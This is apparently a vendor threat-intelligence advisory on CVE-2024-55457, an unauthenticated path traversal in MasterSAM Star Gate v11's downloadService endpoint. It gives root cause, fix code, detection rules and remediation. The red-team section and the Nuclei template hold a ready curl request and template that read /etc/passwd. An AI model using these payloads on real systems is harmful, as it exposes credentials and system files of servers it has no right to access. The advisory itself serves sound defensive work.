CVE-2024-55457

Executive Summary

CVE-2024-55457 is a directory traversal vulnerability in MasterSAM Star Gate v11, specifically within the /adama/adama/downloadService endpoint. An unauthenticated attacker can manipulate the file parameter to read arbitrary files from the server, leading to exposure of sensitive information such as system configuration files, credentials, and other critical data. The vulnerability has a CVSS v3.1 base score of 6.5 (Medium), with a high EPSS score of 0.80406 (99.1 percentile), indicating active exploitation risk. A public proof-of-concept (PoC) and Nuclei template are available, making this a high-priority threat for organizations using MasterSAM Star Gate v11.

Supply Chain & Package Security

This vulnerability is not related to a software package manager (NPM, PyPI, Go, Ruby). It affects a proprietary enterprise application (MasterSAM Star Gate v11). No supply chain compromise is involved.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
• Base Score: 6.5 (Medium)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Vulnerability does not affect other components.
• Confidentiality Impact: Low (C:L) – Limited file read, but sensitive data may be exposed.
• Integrity Impact: Low (I:L) – Potential to modify files if write access is also present (not confirmed).
• Availability Impact: None (A:N) – No denial of service.
• EPSS Score: 0.80406 (99.1 percentile) – High probability of exploitation in the wild.
• Threat Level: High – Public PoC, active exploitation expected.

Deep Dive & Mechanics

The vulnerability exists in the downloadService endpoint of MasterSAM Star Gate v11. The application fails to properly sanitize user-supplied input in the file parameter, allowing path traversal sequences (e.g., ../../) to escape the intended download directory. The endpoint is accessible without authentication, making it trivial for attackers to read arbitrary files from the server's filesystem.

Root Cause: The application does not validate or restrict the file path to a specific directory. It directly passes the user-controlled file parameter to file read operations without checking for traversal patterns.

Attack Flow:

1. Attacker sends a GET request to /adama/adama/downloadService?type=1&file=../../../../etc/passwd.
2. The server processes the request and reads the file at the traversed path.
3. The file content is returned in the HTTP response, often with Content-Type: application/octet-stream and a filename header.

Potential Impact:

• Exposure of /etc/passwd, /etc/shadow, configuration files, database credentials, SSH keys, and other sensitive data.
• Chained attacks: If write access is also possible (not confirmed), attackers could upload malicious files or modify configurations.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable: No path validation
String filePath = request.getParameter("file");
File file = new File(filePath);
// Directly serves the file without checking if it's within allowed directory

Patched Code (Conceptual):

// Patched: Validate and restrict path
String baseDir = "/var/mastersam/downloads/";
String filePath = request.getParameter("file");
File file = new File(baseDir, filePath);
String canonicalPath = file.getCanonicalPath();
if (!canonicalPath.startsWith(baseDir)) {
    throw new SecurityException("Invalid file path");
}
// Serve file only if within allowed directory

Note: No official patch has been released. The above is a recommended fix.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target running MasterSAM Star Gate v11.
• Network access to the /adama/adama/downloadService endpoint.

Exploitation Steps:

1. Identify the target endpoint: http://<target>/adama/adama/downloadService
2. Send a crafted GET request with path traversal:

   curl -v "http://<target>/adama/adama/downloadService?type=1&file=../../../../etc/passwd"
   

3. The response will contain the contents of /etc/passwd if successful.

Automated Exploitation (Nuclei):

nuclei -t CVE-2024-55457.yaml -u http://<target>

Exploit-DB Code: None available.

Blue Team (Defensive)

Detection:

• Monitor HTTP GET requests to /adama/adama/downloadService with suspicious file parameters containing ../ or absolute paths.
• Look for responses with Content-Type: application/octet-stream and filename= header from this endpoint.
• Alert on successful retrieval of sensitive files (e.g., /etc/passwd, /etc/shadow).

Hunting:

• Search web server logs for requests matching pattern: GET /adama/adama/downloadService?type=1&file=
• Correlate with known sensitive file paths in the file parameter.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP GET requests to /adama/adama/downloadService with file parameter containing ../ or absolute paths.
  • Responses with Content-Type: application/octet-stream and filename= header from the vulnerable endpoint.
• File IOCs:
  • Unauthorized access to /etc/passwd, /etc/shadow, /etc/ssh/sshd_config, or other sensitive files.
• Log IOCs:
  • Web server logs showing repeated traversal attempts (e.g., ../../../../etc/passwd).

Detection Engineering

YARA Rule

rule CVE_2024_55457_Directory_Traversal {
    meta:
        description = "Detects directory traversal attempts against MasterSAM Star Gate v11"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-55457"
    strings:
        $traversal = /\.\.\/\.\.\/\.\.\/\.\.\/etc\/passwd/
        $endpoint = "/adama/adama/downloadService"
    condition:
        $endpoint and $traversal
}

Sigma Rule

title: MasterSAM Star Gate v11 Directory Traversal Attempt
id: 7b8c9d0e-1f2a-3b4c-5d6e-7f8a9b0c1d2e
status: experimental
description: Detects attempts to exploit CVE-2024-55457 via directory traversal in the file parameter.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/adama/adama/downloadService'
        cs-uri-query|contains: 'file='
    condition: selection and (cs-uri-query|contains: '../' or cs-uri-query|contains: '..\\')
falsepositives:
    - Legitimate use of file download functionality (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-55457 MasterSAM Star Gate v11 Directory Traversal Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/adama/adama/downloadService"; http_uri; content:"file="; http_uri; pcre:"/file=[^&]*\.\.\//"; classtype:attempted-recon; sid:1000001; rev:1;)

Nuclei Template (Provided)

id: CVE-2024-55457

info:
  name: MasterSAM Star Gate v11 - Local File Inclusion
  author: DhiyaneshDK
  severity: high
  description: |
    MasterSAM Star Gate v11 is vulnerable to a directory traversal attack via the endpoint /adama/adama/downloadService. An attacker can exploit this vulnerability by manipulating the file parameter to access arbitrary files on the server, potentially leading to the exposure of sensitive information.
  impact: |
    Unauthenticated attackers can exploit directory traversal to read arbitrary files from the server, potentially exposing sensitive configuration data, credentials, and system files.
  remediation: |
    Contact MasterSAM for a patched version of Star Gate v11 that addresses the directory traversal vulnerability.
  reference:
    - https://github.com/h13nh04ng/CVE-2024-55457-PoC
    - https://x.com/cyber_advising/status/1876034270852231257
  classification:
    cve-id: CVE-2024-55457
    cwe-id: CWE-22
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
    cvss-score: 6.5
    epss-score: 0.80406
    epss-percentile: 0.99135
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"MasterSAM"
  tags: cve,cve2024,lfi,mastersam,v11,adama,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/adama/adama/downloadService?type=1&file=../../../../etc/passwd"

    matchers:
      - type: dsl
        dsl:
          - "contains_all(header, 'application/octet-stream', 'filename=')"
          - "regex('root:.*:0:0:', body)"
          - "status_code == 200"
        condition: and

Remediation & Mitigation

Immediate Actions:

1. Isolate affected systems: If possible, restrict network access to the vulnerable endpoint using a web application firewall (WAF) or reverse proxy.
2. Apply virtual patching: Block requests to /adama/adama/downloadService with file parameters containing ../ or absolute paths.
3. Monitor logs: Actively search for exploitation attempts using the provided detection rules.

Long-Term Fix:

• Contact MasterSAM for an official patch. If unavailable, implement input validation and path sanitization in the application code (see patched code example).
• Upgrade to a non-vulnerable version if available.

Workaround:

• Disable the downloadService endpoint if not required, or restrict access to trusted IPs only.

Valters IT
DevSecOps & Cyber Threat Intelligence

{/* [Security Hash: 1C507A5C7F13EECA3B81A8C3] */}